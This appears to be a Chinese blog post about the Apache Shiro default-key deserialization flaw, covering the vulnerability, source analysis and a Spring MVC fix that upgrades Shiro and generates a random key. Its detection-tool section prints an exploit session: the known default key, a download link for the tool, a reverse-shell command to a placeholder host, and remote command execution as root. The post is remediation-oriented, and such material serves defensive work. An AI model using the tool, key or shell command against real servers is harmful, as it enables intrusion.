目录

一.情况描述

1.漏洞描述

2.漏洞造成的影响

3.安全建议

4.技术参考

5.建设方案

6.漏洞证明

二.漏洞检测工具

1.下载地址

 2、操作命令

 3、实际操作

三.shiro源码分析

1.当shiro版本是1.2.4

2.当shiro版本是 >=1.2.5时

四.springmvc修改

1.修改pom.xml配置

2.增加一个自定义秘钥代码

3.修改shiro配置

4.修改完之后测试



后续:服务器因此中矿机xmrig的毒:https://blog.csdn.net/xixiyuguang/article/details/109844377

一.情况描述

1.漏洞描述

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。

2.漏洞造成的影响

在配置了默认密钥的情况下,攻击者可以通过精心构造的 Payload 实现远程命令执行,从而进一步获取服务器权限。

3.安全建议

升级shiro至最新版本1.7.0并生成新的密钥替换,注意妥善保管密钥,防止泄漏。利用官方提供的方法生成密钥:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()

4.技术参考

漏洞验证工具:https://github.com/wyzxxz/shiro_rce

0积分下载地址: https://download.csdn.net/download/xixiyuguang/13121484

5.建设方案

建议您立即组织技术力量全面排查网络系统安全隐患,及时整改修复,并开展以下安全建设,确保网络系统安全运行。

1、定期进行专业的安全评估。

2、针对安全评估结果协调开发团队或厂商进行有效的安全整改和修复。

3、配备专业的WEB应用防火墙,针对来自互联网的主流WEB应用安全攻击进行安全防护。

4、建立和完善一套有效的安全管理制度,对信息系统的日常维护和使用进行规范。

5、建立起一套完善有效的应急响应预案和流程,并定期进行应急演练,一旦发现发生任何异常状况可及时进行处理和恢复,有效避免网站业务中断带来损失。

6、定期对相关管理人员和技术人员进行安全培训,提高安全技术能力和实际操作能力。或使用阿里云安全渗透测试服务,有专人跟进帮你解决安全风险

 

6.漏洞证明

使用了Shiro框架,存在默认密钥:kPH+bIxk5D2deZiIxcaaaA==攻击者可利用漏洞远程执行任意命令入侵服务器。

 

二.漏洞检测工具

1.下载地址

https://xz.aliyun.com/forum/upload/affix/shiro_tool.zip  

 2、操作命令

2020-10-16:
放出来一些功能:
1、spring/tomcat回显,执行命令的时候,x=whoami 就行
2、批量检测是否shiro, java -cp shiro_tool.jar shiro.Check http://url 或者 java -cp shiro_tool.jar shiro.Check urls=文件
3、目标服务器不出网的情况下探测

其他:
后面看情况再放出一些更通用的和内存shell


2020-08-21: 
新增了cc8 cc9 cc10利用链
新增了输出payload模式,在执行命令的时候输入output=on即可。
参考下面的示例


2020-05-26:
原来的停止服务了,请下载最新版本。


java -jar shiro_tool.jar https://xx.xx.xx.xx
nocheck --> skip check target is shiro or not.
key= --> set a shiro key.
req= --> request body file 抓包保存到文件里,这里写文件名
keys= --> keys file  自定义key的文件,key按行分割,即每行写一个

[admin@ shiro]java -jar shiro_tool.jar https://xx.xx.xx.xx/          
[-] target: https://xx.xx.xx.xx/
[-] target is use shiro
[-] start guess shiro key.
[-] shiro key: kPH+bIxk5D2deZiIxcaaaA==
[-] check URLDNS
[*] find: URLDNS can be use
[-] check CommonsBeanutils1
[*] find: CommonsBeanutils1 can be use
[-] check CommonsCollections1
[-] check CommonsCollections2
[-] check CommonsCollections3
[-] check CommonsCollections4
[-] check CommonsCollections5
[-] check CommonsCollections6
[-] check CommonsCollections7
[-] check CommonsCollections8
[-] check CommonsCollections9
[-] check CommonsCollections10
[-] check Groovy1
[*] find: Groovy1 can be use
[-] check JSON1
[*] find: JSON1 can be use
[-] check Spring1
[*] find: Spring1 can be use
[-] check Spring2
[-] check JRMPClient
[*] find: JRMPClient can be use
[*] JRMPClient please use: java -cp shiro_tool.jar ysoserial.exploit.JRMPListener 
0: URLDNS
1: CommonsBeanutils1
2: Groovy1
3: JSON1
4: Spring1
5: JRMPClient
[-] please enter the number(0-6)
3
[-] use gadget: JSON1
[*] command example: bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1
[*] command example: curl dnslog.xx.com
[*] if need base64 command, input should startwith bash=/powershell=/python=/perl= 
[-] please enter command, input q or quit to quit
> curl json.dnslog.xx.cn
[-] start process command: curl json.dnslog.xx.cn
[-] please enter command, input q or quit to quit
> bash=bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1
[-] start process command: bash -c {echo,YmFzaD1iYXNoIC1pID4mIC9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzgwIDA+JjE=}|{base64,-d}|{bash,-i}
[-] please enter command, input q or quit to quit
> output=on
[-] print payload mode on.
[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> whoami
kPH+bIxk5D2deZiIxcaaaA== - CommonsBeanutils1 - zEC2T+ZP+ib2g+NLMrrU0LRsNu3lr7kjq
82987eI8FZxA8ckaX8LsMNHdParxVS9aYg0Oxl91WD5GztG6Dmg/QO/sjxi+kX/sFpHgqwtG4MCQoogH
Jkhnj73PI6Wn8AJWQyXoOGNMkyboGcEm0Ti1h+WMGQEqw57tRl7Pjr0pMr2oZcUj9huwC/Lfr090FX7v
rPrU5JnQm2Qo7ZrMPnxENXs0yMT6HfU75OejeF6kXbWTaGlvfByscF1ljoDR/k2txdQ1eK4nZ4ReOAqM
uUeeaXwirEw2kg58GktvB2Ghw4egXJBQUdP3H8iE+zrkf12YlPs/RAOq8w0mWfvwB7EnCW3Z83YP8vV1
+reLT9oNyUpCfjKyQVodnpZJY7If4F9al8He7E832RR3mhFvsjJDyNFTbB4TPrRqFDehSVuHib5qkh0s
0YjvCGErxDLH9pFS4G9rNYQeAnXBKeNzS5q2O0xCe5xg4X6l8R6XsU2/V1d6wd27U7u18+DJlo/v58vj
SyUtUaEAAuMN9C30Rr+r7Tk9MVC55eS8l82fURpUwttcRADhJ0esKHAFFAkwnisbAb4Uugz3IADojYlH
BNFtWFuV2dsuqkionEROKLIdVHJGR8URmk79v8lbLbpCWI3cTCf81SwwBoYylKXCyHX2X08VlEUvuHWk
ypx9gVvDuQQQFTGP4ljwpU1NlQPqxaLXmnZ5TyJN2sycL9s8VWMYls4uFATtMkpXXcwaQGFVjCzFrABv
[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> x=whoami
root

[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> quit
[-] start process command: quit
[-] quit

 3、实际操作

java -jar shiro_tool.jar https://xx.xx.xx.xx/      

 

 

三.shiro源码分析

1.当shiro版本是1.2.4

查看源码,源码中org.apache.shiro.mgt.AbstractRememberMeManager :其默认的秘钥为kPH+bIxk5D2deZiIxcaaaA==,这相当于shiro中如果没有配置秘钥,就会用这个,而这个秘钥又是众所周知的,所以系统很容易被绕过登录,直接进入后台

  private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

package org.apache.shiro.mgt;

public abstract class AbstractRememberMeManager implements RememberMeManager {

    /**
     * private inner log instance.
     */
    private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class);

    /**
     * The following Base64 string was generated by auto-generating an AES Key:
     * <pre>
     * AesCipherService aes = new AesCipherService();
     * byte[] key = aes.generateNewKey().getEncoded();
     * String base64 = Base64.encodeToString(key);
     * </pre>
     * The value of 'base64' was copied-n-pasted here:
     */
    private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

    /**
     * Serializer to use for converting PrincipalCollection instances to/from byte arrays
     */
    private Serializer<PrincipalCollection> serializer;

    /**
     * Cipher to use for encrypting/decrypting serialized byte arrays for added security
     */
    private CipherService cipherService;

    /**
     * Cipher encryption key to use with the Cipher when encrypting data
     */
    private byte[] encryptionCipherKey;

    /**
     * Cipher decryption key to use with the Cipher when decrypting data
     */
    private byte[] decryptionCipherKey;

    /**
     * Default constructor that initializes a {@link DefaultSerializer} as the {@link #getSerializer() serializer} and
     * an {@link AesCipherService} as the {@link #getCipherService() cipherService}.
     */
    public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }

。。。。

2.当shiro版本是 >=1.2.5时

动态生成秘钥,注意这块代码

  AesCipherService cipherService = new AesCipherService();
        this.cipherService = cipherService;
        setCipherKey(cipherService.generateNewKey().getEncoded());

package org.apache.shiro.mgt;
 
 
public abstract class AbstractRememberMeManager implements RememberMeManager {

 /**
     * Cipher encryption key to use with the Cipher when encrypting data
     */
    private byte[] encryptionCipherKey;

    /**
     * Cipher decryption key to use with the Cipher when decrypting data
     */
    private byte[] decryptionCipherKey;

  /**
     * Default constructor that initializes a {@link DefaultSerializer} as the {@link #getSerializer() serializer} and
     * an {@link AesCipherService} as the {@link #getCipherService() cipherService}.
     */
    public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        AesCipherService cipherService = new AesCipherService();
        this.cipherService = cipherService;
        setCipherKey(cipherService.generateNewKey().getEncoded());
    }


public void setCipherKey(byte[] cipherKey) {
        //Since this method should only be used in symmetric ciphers
        //(where the enc and dec keys are the same), set it on both:
        setEncryptionCipherKey(cipherKey);
        setDecryptionCipherKey(cipherKey);
    }

 

四.springmvc修改

1.修改pom.xml配置

升级shiro版本1.7.0

<!-- 升级shiro到1.2.5及以上 -->
		<shiro.version>1.7.0</shiro.version>

 
		<dependency>
			<groupId>org.apache.shiro</groupId>
			<artifactId>shiro-core</artifactId>
			<version>${shiro.version}</version>
		</dependency>
		<dependency>
			<groupId>org.apache.shiro</groupId>
			<artifactId>shiro-spring</artifactId>
			<version>${shiro.version}</version>
		</dependency>
		<dependency>
			<groupId>org.apache.shiro</groupId>
			<artifactId>shiro-cas</artifactId>
			<version>${shiro.version}</version>
			<exclusions>
				<exclusion>
					<groupId>commons-logging</groupId>
					<artifactId>commons-logging</artifactId>
				</exclusion>
			</exclusions>
		</dependency>
		<dependency>
			<groupId>org.apache.shiro</groupId>
			<artifactId>shiro-web</artifactId>
			<version>${shiro.version}</version>
		</dependency>
		<dependency>
			<groupId>org.apache.shiro</groupId>
			<artifactId>shiro-ehcache</artifactId>
			<version>${shiro.version}</version>
		</dependency>
		 

2.增加一个自定义秘钥代码

参考官方的:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()



import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AbstractSymmetricCipherService;
import org.aspectj.apache.bcel.generic.IINC;

import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;

import java.security.Key;
import java.security.NoSuchAlgorithmException;

/**
 * shiro 秘钥生成器
 * 
 * @author yuguang shiro有自己的随机生成秘钥的方法 秘钥生成器
 * 
 *
 */
public class MySymmetricCipherService extends AbstractSymmetricCipherService {

	 

	protected MySymmetricCipherService(String algorithmName) {
		super(algorithmName);
		// TODO Auto-generated constructor stub
	}
	 
    public static byte[] generateNewKeyFromSuper() {
        KeyGenerator kg;
        try {
            kg = KeyGenerator.getInstance("AES");
        } catch (NoSuchAlgorithmException var5) {
            String msg = "Unable to acquire AES algorithm.  This is required to function.";
            throw new IllegalStateException(msg, var5);
        }

        kg.init(128);
        SecretKey key = kg.generateKey();
        byte[] encoded = key.getEncoded();
        return encoded;
    }
 
	 
	
	/**
	 * 使用shiro官方的生成
	 * org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
	 * @return
	 */
	public static byte[] getCipherKey() {
		MySymmetricCipherService mySymmetricCipherService = new MySymmetricCipherService("AES");
		Key gKey = mySymmetricCipherService.generateNewKey();
		return gKey.getEncoded();
	}

	public static void main(String[] args) {
		MySymmetricCipherService mySymmetricCipherService = new MySymmetricCipherService("AES");
		Key gKey = mySymmetricCipherService.generateNewKey();
		System.out.println("key: " + gKey.getEncoded());
		System.out.println("key Base64.encodeToString: " + Base64.encodeToString(gKey.getEncoded()));

		byte[] decodeValue = org.apache.shiro.codec.Base64.decode("4AvVhmFLUs0KTA3Kprsdag==");
		System.out.println("decodeValue: " + decodeValue);
	}

	 

	
	

}

3.修改shiro配置

<!-- 定义Shiro安全管理配置 -->
	<bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
		<property name="realm" ref="systemAuthorizingRealm" />
		<property name="sessionManager" ref="sessionManager" />
		<property name="cacheManager" ref="shiroCacheManager" />
		<!-- 加入rememberMe的配置管理 -->
		 <property name="rememberMeManager" ref="rememberMeManager" />
	</bean>


 <!-- rememberMe管理器   --> 
   <bean id="rememberMeManager" class="org.apache.shiro.web.mgt.CookieRememberMeManager">
       <!-- <property name="cipherKey" value="#{T(org.apache.shiro.codec.Base64).decode('xxxxxxxxxxxx==')}" /> -->
       <property name="cipherKey" value="#{T(com.xxx.xxx.MySymmetricCipherService).getCipherKey()}" />
       <property name="cookie" ref="rememberMeCookie" />
   </bean>
   
   <!-- remenberMe配置 -->
   <bean id="rememberMeCookie" class="org.apache.shiro.web.servlet.SimpleCookie">
       <constructor-arg value="rememberMe" />
       <property name="httpOnly" value="true" />
       <!-- 默认记住7天(单位:秒) -->
       <property name="maxAge" value="604800" />
   </bean>

 

4.修改完之后测试

 

Logo

瓜分20万奖金 获得内推名额 丰厚实物奖励 易参与易上手

更多推荐